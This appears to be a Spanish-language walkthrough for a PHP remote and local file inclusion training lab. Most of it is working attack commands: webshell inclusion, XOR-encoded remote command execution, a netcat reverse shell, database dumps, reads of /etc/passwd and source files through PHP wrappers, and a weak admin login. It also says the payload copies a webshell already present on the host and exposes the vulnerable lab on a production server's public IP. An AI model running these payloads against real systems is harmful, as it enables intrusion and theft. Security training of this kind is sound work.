================================================================================ GUIDE.TXT - LABORATORIO RFI/LFI "TechNova Digital" ================================================================================ Entorno 100% CONTROLADO y con fines educativos / pentesting autorizado. No lo despliegues en un servidor de produccion; contiene vulnerabilidades intencionales. La configuracion del lab se aislo en el puerto 8000. URL del sitio (victima) : http://127.0.0.1:8000/ (local) : http://108.174.153.0/rfi-lab/ (por la IP del server) URL del atacante (payloads): http://127.0.0.1:8000/attacker/ : http://108.174.153.0/rfi-lab/attacker/ Guia de referencia : /Guide.txt (este archivo) DOS FORMAS DE ENTRAR AL LAB 1) Puerto dedicado : http://127.0.0.1:8000/ (solo en esta maquina) 2) Via la IP : http://108.174.153.0/rfi-lab/ La ruta /rfi-lab se agrego al nginx del puerto 80 SIN tocar el sitio principal (HG3Gifts): el lab usa su propio pool PHP y su propia raiz. IMPORTANTE (clave XOR de sync): config.php cifra el comando con el Host de la peticion ($_SERVER['HTTP_HOST']). Si entras por la IP, el Host es "108.174.153.0" y por el puerto 8000 es "127.0.0.1:8000". El generador gen_sync.php detecta el Host SOLO; usalo desde el mismo host por el que vas a explotar. ================================================================================ 1. ADVERTENCIA LEGAL Y ALCANCE ================================================================================ - Usa este laboratorio SOLO en este host, contra este puerto. - Todo dato presente (usuarios, tarjetas, credenciales, BD) es FICTICIO. - Inyectar un payload en un sitio que no es tuyo, o sin autorizacion, es un delito. Este lab replica un escenario real solo para que aprendas a detectarlo y defenderte. ================================================================================ 2. QUE ES RFI (Remote File Inclusion) ================================================================================ RFI ocurre cuando una aplicacion PHP hace include()/require() de un archivo cuyo nombre viene de un parametro del usuario SIN validar. El atacante apunta ese include a una URL remota (http://...) y el codigo PHP de ESE archivo se ejecuta EN EL SERVIDOR VICTIMA. include($_GET['page']); // VULNERABLE if (isset($_GET['page'])) { include($_GET['page']); } Clasico. El payload se sirve desde un servidor "del atacante" como texto plano (extensión .txt normalmente) y la victima lo interpreta como PHP. Requisito historico del lado del servidor: allow_url_include=On (PHP < 8 lo traia activado por defecto; hoy suele estar Off, lo que ya mitiga el RFI pero NO el LFI). ================================================================================ 3. TOPOLOGIA DEL LABORATORIO ================================================================================ +---------------------------------------+ | UN MISMO HOST (aislado) | | | Atacante | /attacker/payloads/*.txt -> text/ | (navegador o | plano, NO se ejecutan aqui | curl) ------ | /attacker/tools/gen_sync.php | | | Victima -- | view.php?page=http://.../config.txt | | -> PHP de la VICTIMA ejecuta el | | codigo del payload | +---------------------------------------+ - Servidor web : nginx en el puerto 8000 (el sitio de produccion sigue en 80/443 sin cambios). - PHP-FPM : pool dedicado "rfi-lab" con allow_url_include=On, display_errors=On y un auto_prepend_file (ver seccion 16). - MySQL : bases de datos de practica (technova_cms, clientes_db) y el usuario 'admin'/'admin' con SELECT sobre todo. Para probar desde OTRA maquina usa la IP LAN del servidor en lugar de 127.0.0.1 y asegurate de abrir el puerto 8000 en el firewall. ================================================================================ 4. COMO SIRVE EL ATACANTE EL PAYLOAD (config.php) ================================================================================ El payload objetivo es /var/www/html/config.php (el webshell completo). Se copio "en crudo" como texto plano en: http://127.0.0.1:8000/attacker/payloads/config.txt Por que .txt y no .php? Si el atacante lo sirviera como .php, su servidor LO EJECUTARIA y solo devolveria el HTML resultante (inutil). Servido como .txt, la victima recibe el CODIGO FUENTE y es SU PHP quien lo ejecuta. Pruébalo en el navegador: http://127.0.0.1:8000/attacker/payloads/config.txt (codigo crudo) http://127.0.0.1:8000/view.php?page=http://127.0.0.1:8000/attacker/payloads/config.txt El segundo enlace: la victima incluye la URL y config.php se EJECUTA ahi, mostrando su "panel de administracion" con las BD detectadas. Funciones integradas del payload config.php (referencia rapida): Parametro Que hace Como se activa --------- ---------------------------------------- -------------------------------- sync RCE: comando XOR(base64) + system/exec &sync= backup Reverse shell a IP:puerto &backup=&port= dumpdb Vuelca una base de datos en JSON/base64 &dumpdb= explore Lista un directorio (JSON) &explore= ================================================================================ 5. RECONOCIMIENTO: COMO ENCONTRAR LOS VECTORES ================================================================================ La app es una "agencia digital" con varios modulos. Busca en el codigo fuentes las llamadas a include/require/readfile. Consejos de recon: - Fuzzing de parametros comunes: page, view, template, lang, file, module, load, section, path, inc, include, doc, content, tema. - Prueba con el propio laboratorio: view.php?page=content/inicio.html (funciona normal) view.php?page=noexiste123 (error -> confirma include) view.php?page=php://filter/convert.base64-encode/resource=index.php view.php?page=/etc/passwd - El parametro que "carga contenido" es casi siempre el que se incluye. Mapa de vectores de este sitio: Endpoint Parametro Patron (inseguro) Tipo --------- --------- ------------------------------------ --------------- view.php page include($_GET['page']) RFI+LFI+wrappers news.php view include($_GET['view'] . ".php") RFI (truco ?) / LFI tpl.php template include("templates/".$_GET['template'].".php") LFI (.php) lang.php lang include("lang/".$_GET['lang'].".php") LFI (.php) docs.php file readfile($_GET['file']) Lectura arbitraria admin.php usuario/pass credenciales debiles admin/admin123 Auth debil Otros endpoints: index, about, services, portfolio, blog, contact, debug.php (phpinfo), admin/dashboard.php. ================================================================================ 6. TABLA DE VECTORES Y EJEMPLOS VERIFICADOS ================================================================================ view.php (include directo) - Uso normal ......... /view.php?page=content/inicio.html - RFI config.txt ..... /view.php?page=http://127.0.0.1:8000/attacker/payloads/config.txt - RFI shell.txt ...... /view.php?page=http://127.0.0.1:8000/attacker/payloads/shell.txt - RFI cmd.txt ........ /view.php?page=http://127.0.0.1:8000/attacker/payloads/cmd.txt&cmd=id - LFI absoluto ....... /view.php?page=/etc/passwd - LFI traversal ...... /view.php?page=../../../../etc/passwd - LFI otro webshell .. /view.php?page=../config.php (el config.php real del host) news.php (include + sufijo ".php") - RFI con truco "?" .. /news.php?view=http://127.0.0.1:8000/attacker/payloads/cmd.txt?&cmd=id (el "?" hace que se ignore el ".php" anadido) tpl.php (prefijo templates/ + sufijo ".php") -> solo LFI de archivos .php - LFI .php .......... /tpl.php?template=../includes/config - LFI traversal ..... /tpl.php?template=../../../../../etc/passwd (falla, es .php) lang.php (prefijo lang/ + sufijo ".php") -> solo LFI de archivos .php - LFI .php .......... /lang.php?lang=../includes/config - LFI traversal ..... /lang.php?lang=../../../../etc/passwd (falla, es .php) docs.php (readfile) -> lectura de archivos, no ejecuta - /docs.php?file=/etc/passwd - /docs.php?file=../../../../etc/passwd ================================================================================ 7. EJERCICIO 1 - RFI BASICO CON config.txt ================================================================================ Objetivo: demostrar que se puede incluir codigo remoto. curl "http://127.0.0.1:8000/view.php?page=http://127.0.0.1:8000/attacker/payloads/config.txt" En el navegador veras el panel del payload ejecutado EN la victima (version PHP, SO, webserver, IP, BD detectadas...). Acabas de "instalar" el backdoor sin subir archivos: solo con una URL. ================================================================================ 8. EJERCICIO 2 - RCE CON sync (explicacion del XOR) ================================================================================ El payload configura la clave de cifrado como el Host de la peticion: $clave = $_SERVER['HTTP_HOST']; // ej. "127.0.0.1:8000" $payload = base64_decode($_GET['sync']); $comando = ''; for (...) { $comando .= $payload[$i] ^ $clave[$i % strlen($clave)]; } system($comando); echo base64_encode($salida); Es decir: el comando se XOR byte a byte con el Host (la clave se repite). Para generar el sync correcto usa la herramienta del lab (detecta el Host de la peticion; no hace falta indicarle nada): /attacker/tools/gen_sync.php?cmd=id Salida de ejemplo (id): sync = dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK -> "uid=33(www-data) gid=33(www-data) groups=33(www-data)" Prueba rapida: SYNC=$(curl -s "http://127.0.0.1:8000/attacker/tools/gen_sync.php?cmd=whoami&host=127.0.0.1:8000" | grep -oP 'sync=\K[^< ]+' | head -1) curl -s "http://127.0.0.1:8000/view.php?page=http://127.0.0.1:8000/attacker/payloads/config.txt&sync=$SYNC" \ | grep -oP '[A-Za-z0-9+/]{20,}={0,2}' | tail -1 | base64 -d NOTA: la salida llega en base64 y MEZCLADA con el HTML de view.php; por eso el grep extrae el token. En un include real sin envoltorio saldria limpio. ================================================================================ 9. EJERCICIO 3 - REVERSE SHELL CON backup ================================================================================ config.php usa fsockopen a tu IP y lanza /bin/sh sobre esa conexion. 1) En TU maquina abre un listener: nc -lvnp 4444 2) Dispara el payload: curl "http://127.0.0.1:8000/view.php?page=http://127.0.0.1:8000/attacker/payloads/config.txt&backup=&port=4444" 3) En el listener escribe: id -> uid=33(www-data) ... Tambien tienes rev.txt (payload clasico bash) con la misma idea. ================================================================================ 10. EJERCICIO 4 - VOLCADO DE BD CON dumpdb ================================================================================ El payload enumera BD, tablas, columnas y datos y lo devuelve en JSON base64. curl "http://127.0.0.1:8000/view.php?page=http://127.0.0.1:8000/attacker/payloads/config.txt&dumpdb=technova_cms" \ | grep -oP '[A-Za-z0-9+/]{50,}={0,2}' | head -1 | base64 -d Veras usuarios, articulos y "credenciales_servicios" (todo ficticio). Tambien existe clientes_db (clientes con "tarjetas" falsas). Dato curioso del payload: internamente fuerza credenciales debiles (root/'', admin/admin, ...). En este lab creamos 'admin'/'admin' a proposito para que su "fuerza bruta" tenga exito y pueda ver las BD. Tambien hay un payload standalone: database.txt ================================================================================ 11. EJERCICIO 5 - EXPLORACION DEL SISTEMA CON explore ================================================================================ curl "http://127.0.0.1:8000/view.php?page=http://127.0.0.1:8000/attacker/payloads/config.txt&explore=/var/www/html" Devuelve JSON con tipo, tamano y ruta. Equivale a "ls -la". Con RCE (sync) puedes hacer "find / -perm -4000" para escalar, leer /etc/shadow, etc. -- siempre en el lab, nunca fuera. ================================================================================ 12. EJERCICIO 6 - LFI Y WRAPPERS PHP ================================================================================ LFI (Local File Inclusion) = incluir archivos LOCALES. No requiere allow_url_include, por eso es mas frecuente. Lectura de codigo fuente (php://filter): /view.php?page=php://filter/convert.base64-encode/resource=includes/config.php Decodifica el base64 y veras la "clave secreta" del sitio. curl -s "http://127.0.0.1:8000/view.php?page=php://filter/convert.base64-encode/resource=includes/config.php" \ | grep -oP '[A-Za-z0-9+/]{50,}={0,2}' | head -1 | base64 -d | grep SECRET data:// (codigo en el propio parametro): /view.php?page=data://text/plain;base64,PD9waHAgZWNobyAnRFhUZXN0JzsgPz4= -> imprime "DXTest" php://input (codigo en el cuerpo POST): curl -d '' \ "http://127.0.0.1:8000/view.php?page=php://input" /proc, /etc/passwd, logs, etc.: /view.php?page=/etc/passwd /docs.php?file=/var/log/nginx/error.log ================================================================================ 13. EJERCICIO 7 - BYPASS DEL SUFIJO ".php" CON EL TRUCO "?" ================================================================================ Cuando el codigo es include($x . ".php"), cualquier archivo local termina en .php. Si apuntas a una URL, el "?" inicia la cadena de consulta y PHP NUNCA anade el .php al path remoto: include($_GET['view'] . ".php"); view = http://127.0.0.1:8000/attacker/payloads/cmd.txt? -> include() intenta: http://127.0.0.1:8000/attacker/payloads/cmd.txt?.php -> la parte ".php" va como QUERY, se ignora, y se ejecuta cmd.txt /news.php?view=http://127.0.0.1:8000/attacker/payloads/cmd.txt?&cmd=id El truco "?" NO funciona cuando hay PREFIJO (lang/, templates/): la URL deja de ser URL y se trata como ruta local. Por eso tpl.php y lang.php solo son explotables como LFI de archivos .php. ================================================================================ 14. EJERCICIO 8 - OTROS PAYLOADS DEL ATACANTE ================================================================================ shell.txt -> phpinfo() (enumeracion) cmd.txt -> RCE directo (&cmd=) rev.txt -> reverse shell bash (editar IP/puerto) database.txt -> prueba credenciales MySQL y enumera BD file.txt -> lee archivos (&f=/etc/passwd) config.txt -> el webshell completo (ejercicios 1-5) ================================================================================ 15. COMANDOS CURL DE REFERENCIA (RESUMEN) ================================================================================ ATTACKER="http://127.0.0.1:8000" PAY="$ATTACKER/attacker/payloads/config.txt" # RFI basico (panel del payload ejecutado en la victima) curl "$ATTACKER/view.php?page=$PAY" # RCE via sync (id) - genera y decodifica (gen_sync detecta el Host solo) SYNC=$(curl -s "$ATTACKER/attacker/tools/gen_sync.php?cmd=id" | grep -oP 'sync=\K[^< ]+' | head -1) curl -s "$ATTACKER/view.php?page=$PAY&sync=$SYNC" | grep -oP '[A-Za-z0-9+/]{20,}={0,2}' | tail -1 | base64 -d # Reverse shell: primero `nc -lvnp 4444`, luego... curl "$ATTACKER/view.php?page=$PAY&backup=&port=4444" # Volcado de BD curl -s "$ATTACKER/view.php?page=$PAY&dumpdb=technova_cms" | grep -oP '[A-Za-z0-9+/]{50,}={0,2}' | head -1 | base64 -d # Exploracion de archivos curl -s "$ATTACKER/view.php?page=$PAY&explore=/var/www/html" # LFI: leer fuente de config.php del lab curl -s "$ATTACKER/view.php?page=php://filter/convert.base64-encode/resource=includes/config.php" | grep -oP '[A-Za-z0-9+/]{50,}={0,2}' | head -1 | base64 -d # LFI: /etc/passwd curl -s "$ATTACKER/view.php?page=/etc/passwd" # LFI: incluir el webshell real del host y ejecutar RCE SYNC=$(curl -s "$ATTACKER/attacker/tools/gen_sync.php?cmd=uname+-a" | grep -oP 'sync=\K[^< ]+' | head -1) curl -s "$ATTACKER/view.php?page=../config.php&sync=$SYNC" | grep -oP '[A-Za-z0-9+/]{20,}={0,2}' | tail -1 | base64 -d # php://input curl -d '' "$ATTACKER/view.php?page=php://input" # Sufijo + truco "?" curl -s "$ATTACKER/news.php?view=$ATTACKER/attacker/payloads/cmd.txt?&cmd=id" # Lectura arbitraria con docs.php curl -s "$ATTACKER/docs.php?file=/etc/passwd" # Login debil del panel (redirecciona a dashboard.php) curl -s -d "usuario=admin&pass=admin123" "$ATTACKER/admin.php" -I ================================================================================ 16. NOTAS DE ADAPTACION DEL ENTORNO (POR QUE ES ASI) ================================================================================ a) PHP 8.1 y mysqli. PHP 8.1 cambio el modo por defecto de mysqli a MYSQLI_REPORT_ERROR|MYSQLI_REPORT_STRICT: ahora las funciones lanzan excepciones que el operador @ NO suprime. config.php fue escrito para PHP < 8 (donde @mysqli_connect devolvia false). Para que el payload funcione tal cual en el lab se agrego (sin tocar el payload) un auto_prepend_file en el pool rfi-lab que hace mysqli_report(MYSQLI_REPORT_OFF): /etc/php/8.1/fpm/pool.d/rfi-lab.conf /var/www/html/rfi-lab/includes/lab_bootstrap.php b) MySQL root usa auth_socket (solo el usuario root del SO). El payload fuerza credenciales debiles; en el lab creamos el usuario 'admin'@'localhost' con password 'admin' y SELECT sobre *.* para que su enumeracion (y dumpdb) tengan datos reales que ver. Bases de practica: technova_cms, clientes_db (datos ficticios). c) Nginx: el directorio /attacker sirve los .txt como texto plano (no pasa por PHP). Los directorios /includes y /content estan bloqueados a acceso directo, pero include() los lee del disco (realista). La ruta publica /rfi-lab (puerto 80) y el puerto 8000 sirven el mismo contenido; ambas usan el pool "rfi-lab". d) El payload original /var/www/html/config.php NO se modifico; el lab usa una copia (attacker/payloads/config.txt). ================================================================================ 17. COMO SE DEFIENDE UN SITIO DE RFI/LFI (PARA TU PROXIMA AUDITORIA) ================================================================================ - allow_url_include=Off (por defecto en PHP moderno). Mata el RFI. - Nunca concatenar input del usuario en include/require. - Whitelist estricta de archivos/plantillas permitidos. - Basar la carga de vistas en un router con rutas canonicas y realpath. - Verificar realpath($path) empieza con DOCUMENT_ROOT permitido. - Bloquear null bytes (obsoletos en PHP moderno) y sanitizar rutas. - Correr PHP-FPM con el menor privilegio (www-data, sin root). - Separar credenciales de BD por app y minimas (no root con SELECT *.*). - WAF / reglas IDS para patrones de parametros tipo page=/...&sync=... - Registro y alerta: params anormales, URLs remotas en includes. - Entradas mas probables de explotacion en este lab: sync (RCE con XOR), backup (reverse shell), dumpdb (datos), explore (recorrido), php://filter (lectura de fuente). ================================================================================ 18. CHECKLIST DEL PRACTICANTE ================================================================================ [ ] Enumera el sitio (parametros page/view/template/lang/file...). [ ] Confirma el include con un error o un archivo conocido. [ ] RFI con config.txt (panel) y cmd.txt (RCE via &cmd=). [ ] RCE con sync usando gen_sync.php y decodificando base64. [ ] Reverse shell con backup y nc -lvnp. [ ] dumpdb de technova_cms / clientes_db. [ ] explore para mapear el servidor. [ ] LFI con /etc/passwd y php://filter para leer config.php. [ ] Truco "?" en news.php (sufijo .php). [ ] docs.php para leer logs y archivos sin ejecutar. [ ] Login debil admin/admin123 en /admin.php. [ ] Redacta el informe de hallazgos con la seccion 17 de mitigaciones. ================================================================================ FIN DE LA GUIA ================================================================================